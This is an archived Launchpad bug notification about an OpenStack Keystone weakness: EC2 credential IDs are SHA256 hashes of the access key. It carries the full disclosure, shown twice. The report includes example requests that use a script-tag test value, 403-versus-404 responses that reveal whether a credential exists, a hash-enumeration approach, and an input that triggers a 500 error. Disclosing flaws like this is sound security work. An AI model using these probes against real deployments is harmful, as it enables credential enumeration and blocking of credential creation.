← Back to team overview

yahoo-eng-team team mailing list archive

[Bug 1618615] Re: Potential information disclosure in EC2 "credentials"

 

Switched to public security, closed the OSSA task and added an OSSN task
based on above comments.


** Description changed:

- This issue is being treated as a potential security risk under embargo.
- Please do not make any public mention of embargoed (private) security
- vulnerabilities before their coordinated publication by the OpenStack
- Vulnerability Management Team in the form of an official OpenStack
- Security Advisory. This includes discussion of the bug or associated
- fixes in public forums such as mailing lists, code review systems and
- bug trackers. Please also avoid private disclosure to other individuals
- not already approved for access to this information, and provide this
- same reminder to those who are made aware of the issue prior to
- publication. All discussion should remain confined to this private bug
- report, and any proposed fixes should be added to the bug as
- attachments.
- 
- 
  When creating a "credential" in Keystone, instead of using uuid.uuid4()
  like in most places to generate a unique identifier, the id is created
  from the SHA256 hash value of whatever is passed in as the "access" key
  in the POST request (Code here:
  https://github.com/openstack/keystone/blob/master/keystone/credential/controllers.py#L36-L60)
  
  ===== EXAMPLE REQUEST =====
  
      POST /v3/credentials HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [ADMIN TOKEN]
      Content-Length: 231
      Content-Type: application/json
  
      {
          "credential": {
              "blob": "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}",
              "project_id": "12345",
              "type": "ec2",
              "user_id": "12345"
          }
      }
  
      HTTP/1.1 201 Created
      Date: Tue, 30 Aug 2016 19:14:54 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 383
      Content-Type: application/json
  
      {"credential": {"user_id": "12345", "links": {"self":
  "[ENDPOINT]/v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"},
  "blob":
  "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}",
  "project_id": "12345", "type": "ec2", "id":
  "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}}
  
  ===== /EXAMPLE =====
  
  The id from the example above is
  "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea",
  which is the same as the SHA256 value of "<script>alert(2)</script>"
  (you can test this with `echo -n "<script>alert(2)</script>" | openssl
  dgst -sha256` on *nix)
  
  The documentation here seems to show MD5s and possibly tenant IDs used
  as "access" values: http://developer.openstack.org/api-
  ref/identity/v3/?expanded=assign-role-to-user-on-projects-owned-by-
  domain-detail,create-policy-detail,show-credential-details-detail,list-
  credentials-detail,create-credential-detail#list-credentials
  
  Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to
  predict all 32 characters from thin air), but if the MD5 is a hash of a
  known value (i.e. the string "admin"), it would be trivial to test for
  common values:
  
      md5(admin) = 21232f297a57a5a743894a0e4a801fc3
      sha256(21232f297a57a5a743894a0e4a801fc3) = 465c194afb65670f38322df087f0a9bb225cc257e43eb4ac5a0c98ef5b3173ac
  
  If tenant IDs are used, this task becomes even easier: just generate
  SHA256 hashes for 0 - 999999
  
  A non-admin user can determine whether there are credentials using a
  given access key by attempting to access the resource from its sha256
  url identifier:
  
  ===== EXAMPLE REQUESTS =====
  
  Existing credential
  
      GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [NON-ADMIN TOKEN]
      Content-Type: application/json
      Connection: close
  
      HTTP/1.1 403 Forbidden
      Date: Tue, 30 Aug 2016 19:55:24 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 140
      Content-Type: application/json
  
      {"error": {"message": "You are not authorized to perform the
  requested action: identity:get_credential", "code": 403, "title":
  "Forbidden"}}
  
  Non-existent credential
  
      GET /v3/credentials/deadbeef HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [NON-ADMIN TOKEN]
      Content-Type: application/json
  
      HTTP/1.1 404 Not Found
      Date: Tue, 30 Aug 2016 20:03:38 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 96
      Content-Type: application/json
  
      {"error": {"message": "Could not find credential: deadbeef", "code":
  404, "title": "Not Found"}}
  
  ===== /EXAMPLE =====
  
  It is also possible to get a 500 error by creating a credential with an
  invalid character in the "access" key:
  
  ===== EXAMPLE REQUEST =====
  
      POST /v3/credentials HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [ADMIN TOKEN]
      Content-Length: 212
      Content-Type: application/json
  
      {
          "credential": {
              "blob": "{\"access\":\"\uffff\",\"secret\":\"secretKey\"}",
              "project_id": "12345",
              "type": "ec2",
              "user_id": "12345"
          }
      }
  
      HTTP/1.1 500 Internal Server Error
      Date: Tue, 30 Aug 2016 20:06:16 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 143
      Content-Type: application/json
  
      {"error": {"message": "An unexpected error prevented the server from
  fulfilling your request.", "code": 500, "title": "Internal Server
  Error"}}
  
  ===== /EXAMPLE =====
  
  I'm unsure what the security impact would be here, mainly because of the
  ambiguous examples provided in the Keystone API documentation (linked
  above). If either of the 2 scenarios I outlined is a reasonable use case
  (i.e. MD5 of a guessable value, or tenant IDs), there may be a risk of
  information leakage by brute-force. It would also be possible to prevent
  others from creating credentials with a given access key by simply
  creating lots of credentials in Keystone with predictable access keys.
  This would cause a collision whenever attempting to create a credential
  set with an access key that has already been used.
  
  If, on the other hand, the credentials are always in the format
  described by AWS here ( link:
  https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html
  ), it would require a huge number of requests to bruteforce the access
  key (though it would not be impossible). However, it would be possible,
  using the approach described above with a regular user token, to
  determine whether a known EC2 access key was in place as a credential in
  a given Keystone database.
  
  I'm unclear on the utility of using SHA256 for the identifier at all
  here, since random UUIDs would make this potential issue moot.

** Changed in: ossa
       Status: Incomplete => Won't Fix

** Information type changed from Private Security to Public Security

** Also affects: ossn
   Importance: Undecided
       Status: New

-- 
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to OpenStack Identity (keystone).
https://bugs.launchpad.net/bugs/1618615

Title:
  Potential information disclosure in EC2 "credentials"

Status in OpenStack Identity (keystone):
  New
Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Security Notes:
  New

Bug description:
  When creating a "credential" in Keystone, instead of using
  uuid.uuid4() like in most places to generate a unique identifier, the
  id is created from the SHA256 hash value of whatever is passed in as
  the "access" key in the POST request (Code here:
  https://github.com/openstack/keystone/blob/master/keystone/credential/controllers.py#L36-L60)

  ===== EXAMPLE REQUEST =====

      POST /v3/credentials HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [ADMIN TOKEN]
      Content-Length: 231
      Content-Type: application/json

      {
          "credential": {
              "blob": "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}",
              "project_id": "12345",
              "type": "ec2",
              "user_id": "12345"
          }
      }

      HTTP/1.1 201 Created
      Date: Tue, 30 Aug 2016 19:14:54 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 383
      Content-Type: application/json

      {"credential": {"user_id": "12345", "links": {"self":
  "[ENDPOINT]/v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"},
  "blob":
  "{\"access\":\"<script>alert(2)</script>\",\"secret\":\"secretKey\"}",
  "project_id": "12345", "type": "ec2", "id":
  "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}}

  ===== /EXAMPLE =====

  The id from the example above is
  "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea",
  which is the same as the SHA256 value of "<script>alert(2)</script>"
  (you can test this with `echo -n "<script>alert(2)</script>" | openssl
  dgst -sha256` on *nix)

  The documentation here seems to show MD5s and possibly tenant IDs used
  as "access" values: http://developer.openstack.org/api-
  ref/identity/v3/?expanded=assign-role-to-user-on-projects-owned-by-
  domain-detail,create-policy-detail,show-credential-details-detail
  ,list-credentials-detail,create-credential-detail#list-credentials

  Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to
  predict all 32 characters from thin air), but if the MD5 is a hash of
  a known value (i.e. the string "admin"), it would be trivial to test
  for common values:

      md5(admin) = 21232f297a57a5a743894a0e4a801fc3
      sha256(21232f297a57a5a743894a0e4a801fc3) = 465c194afb65670f38322df087f0a9bb225cc257e43eb4ac5a0c98ef5b3173ac

  If tenant IDs are used, this task becomes even easier: just generate
  SHA256 hashes for 0 - 999999

  A non-admin user can determine whether there are credentials using a
  given access key by attempting to access the resource from its sha256
  url identifier:

  ===== EXAMPLE REQUESTS =====

  Existing credential

      GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [NON-ADMIN TOKEN]
      Content-Type: application/json
      Connection: close

      HTTP/1.1 403 Forbidden
      Date: Tue, 30 Aug 2016 19:55:24 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 140
      Content-Type: application/json

      {"error": {"message": "You are not authorized to perform the
  requested action: identity:get_credential", "code": 403, "title":
  "Forbidden"}}

  Non-existent credential

      GET /v3/credentials/deadbeef HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [NON-ADMIN TOKEN]
      Content-Type: application/json

      HTTP/1.1 404 Not Found
      Date: Tue, 30 Aug 2016 20:03:38 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 96
      Content-Type: application/json

      {"error": {"message": "Could not find credential: deadbeef",
  "code": 404, "title": "Not Found"}}

  ===== /EXAMPLE =====

  It is also possible to get a 500 error by creating a credential with
  an invalid character in the "access" key:

  ===== EXAMPLE REQUEST =====

      POST /v3/credentials HTTP/1.1
      Host: [ENDPOINT]
      X-Auth-Token: [ADMIN TOKEN]
      Content-Length: 212
      Content-Type: application/json

      {
          "credential": {
              "blob": "{\"access\":\"\uffff\",\"secret\":\"secretKey\"}",
              "project_id": "12345",
              "type": "ec2",
              "user_id": "12345"
          }
      }

      HTTP/1.1 500 Internal Server Error
      Date: Tue, 30 Aug 2016 20:06:16 GMT
      Server: Apache/2.4.7 (Ubuntu)
      Vary: X-Auth-Token
      Content-Length: 143
      Content-Type: application/json

      {"error": {"message": "An unexpected error prevented the server
  from fulfilling your request.", "code": 500, "title": "Internal Server
  Error"}}

  ===== /EXAMPLE =====

  I'm unsure what the security impact would be here, mainly because of
  the ambiguous examples provided in the Keystone API documentation
  (linked above). If either of the 2 scenarios I outlined is a
  reasonable use case (i.e. MD5 of a guessable value, or tenant IDs),
  there may be a risk of information leakage by brute-force. It would
  also be possible to prevent others from creating credentials with a
  given access key by simply creating lots of credentials in Keystone
  with predictable access keys. This would cause a collision whenever
  attempting to create a credential set with an access key that has
  already been used.

  If, on the other hand, the credentials are always in the format
  described by AWS here ( link:
  https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html
  ), it would require a huge number of requests to bruteforce the access
  key (though it would not be impossible). However, it would be
  possible, using the approach described above with a regular user
  token, to determine whether a known EC2 access key was in place as a
  credential in a given Keystone database.

  I'm unclear on the utility of using SHA256 for the identifier at all
  here, since random UUIDs would make this potential issue moot.

To manage notifications about this bug go to:
https://bugs.launchpad.net/keystone/+bug/1618615/+subscriptions